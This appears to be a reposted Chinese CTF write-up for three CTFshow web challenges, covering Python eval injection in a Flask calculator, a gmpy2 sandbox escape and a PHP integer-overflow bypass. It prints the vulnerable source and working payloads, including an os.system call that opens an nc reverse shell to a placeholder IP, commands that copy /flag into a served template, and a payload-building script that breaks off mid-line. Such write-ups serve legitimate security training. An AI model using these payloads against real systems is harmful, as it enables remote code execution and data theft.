我的编程空间,编程开发者的网络收藏夹
学习永远不晚

CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED

算力超群

题目来源

CTFshow-菜狗杯-WEB

题目考点

简单沙箱逃逸

题目源码

题目源码来自writeup

# -*- coding: utf-8 -*-# @Time    : 2022/11/2# @Author  : 探姬# @Forkfrom:https://github.com/helloflask/calculatorimport refrom flask import Flask, jsonify, render_template, requestapp = Flask(__name__)@app.route('/_calculate')def calculate():    a = request.args.get('number1', '0')    operator = request.args.get('operator', '+')    b = request.args.get('number2', '0')    m = re.match(r'^\-?\d*[.]?\d*$', a)    n = re.match(r'^\-?\d*[.]?\d*$', a)    if m is None or n is None or operator not in '+-*/':        return jsonify(result='Error!')    if operator == '/':        result = eval(a + operator + str(float(b)))    else:        result = eval(a + operator + b)    return jsonify(result=result)@app.route('/')def index():    return render_template('index.html')@app.route('/hint')def hint():    return render_template('hint.html')if __name__ == '__main__':    app.run()

解题过程

执行请求 http://1ed5282a-5e0e-42a0-b8a0-460fe11c6202.challenge.ctf.show/_calculate?number1=7&operator=*&number2=XXXX 报错如下:

在这里插入图片描述


审阅源码得到

m = re.match(r'^\-?\d*[.]?\d*$', a)n = re.match(r'^\-?\d*[.]?\d*$', a)

粗心的复制粘贴导致最后一个变量没有任何校验,所以直接使用b进行执行。
先拿报错骗出路径,因为没有回显,所以我们将结果写入可见的路由部分就好了。
#g4的payload

payload:?number2=1,__import__('os').system('nc xxx.xxx.xxx.xxx 1234 -e sh')

或者其他无回显的payload
通过写文件回显

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')

构造展示文件目录的Payload

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')

执行Payload

在这里插入图片描述

回显结果如下

在这里插入图片描述

访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到如下结果

在这里插入图片描述

构造读取flag文件的Payload

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')

执行Payload,得到如下结果

在这里插入图片描述

再次访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到flag

在这里插入图片描述

ctfshow{34063eb3-8e41-468f-946e-c21fb0086e32}


另一种方法

/_calculate?number1=&operator=&number2=__import__('os').popen('ls /').read()/_calculate?number1=&operator=&number2=__import__('os').popen('tac /flag').read()

算力升级

题目来源

CTFshow-菜狗杯-WEB

题目考点

gmpy2.__builtins的命令执行

题目源码

    # !/usr/bin/env python    # -*-coding:utf-8 -*-    """    # File       : app.py    # Time       :2022/10/20 15:16    # Author     :g4_simon    # version    :python 3.9.7    # Description:算力升级--这其实是一个pyjail题目    """    from flask import *    import os    import re,gmpy2     import json    #初始化全局变量    app = Flask(__name__)    pattern=re.compile(r'\w+')    @app.route('/', methods=['GET'])    def index():          return render_template('index.html')    @app.route('/tiesuanzi', methods=['POST'])    def tiesuanzi():        code=request.form.get('code')        for item in pattern.findall(code):#从code里把单词拿出来            if not re.match(r'\d+$',item):#如果不是数字                if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较                   return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})        try:            result=eval(code)            return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})        except:            return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})    @app.route('/source', methods=['GET'])    def source():          return render_template('source.html')    if __name__ == '__main__':        app.run(host='0.0.0.0',port=80,debug=False)

题目提示

提示:输入算式即可让R4帮你进行计算,本次R4重装升级,已经支持gmpy2了,可以使用gmpy2的函数进行计算,那我们赶快开始吧!

解题过程

打开题目链接,得到如下界面

在这里插入图片描述

点击 左上角查看源码,得到源码

    # !/usr/bin/env python    # -*-coding:utf-8 -*-    """    # File       : app.py    # Time       :2022/10/20 15:16    # Author     :g4_simon    # version    :python 3.9.7    # Description:算力升级--这其实是一个pyjail题目    """    from flask import *    import os    import re,gmpy2     import json    #初始化全局变量    app = Flask(__name__)    pattern=re.compile(r'\w+')    @app.route('/', methods=['GET'])    def index():          return render_template('index.html')    @app.route('/tiesuanzi', methods=['POST'])    def tiesuanzi():        code=request.form.get('code')        for item in pattern.findall(code):#从code里把单词拿出来            if not re.match(r'\d+$',item):#如果不是数字                if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较                   return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})        try:            result=eval(code)            return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})        except:            return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})    @app.route('/source', methods=['GET'])    def source():          return render_template('source.html')    if __name__ == '__main__':        app.run(host='0.0.0.0',port=80,debug=False)

通过审计源码可知,如何绕过执行的限制是关键。

审计源码可知,源码对于输入的限制是两个正则,要求要么是数字,要么是dir(gmpy2)中的内容。我们在自己的环境中试一下,发现gmpy2.__builtins__是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:

s="__import__('os').popen('cat /flag').read()"import gmpy2payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("for i in s:        if i not in "/'(). ":                temp_index=0                temp_string='x'*20                for j in dir(gmpy2):                        if j.find(i)>=0:    if len(j)

执行Payload,得到flag

在这里插入图片描述

ctfshow{0ffe7319-b454-455d-bdae-fbbad7a7521a}

无一幸免FIXED

题目来源

CTFshow-菜狗杯-WEB

题目考点

数组整型溢出绕过赋值式“永真”判断

题目源码


解题过程

打开题目链接,得到题目源码界面如下:

在这里插入图片描述

审阅代码,可知这道题目需要用到整形数组溢出去解答

构造Payload如下

http://3dc6fa9e-1ce1-4e63-8767-bb0f3db5bf2b.challenge.ctf.show/?0=9223372036854775807

执行Payload得到flag

在这里插入图片描述

ctfshow{bb86b68a-9f7a-4980-8494-8d1e8cc2fb6d}

来源地址:https://blog.csdn.net/qq_31415417/article/details/129248647

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录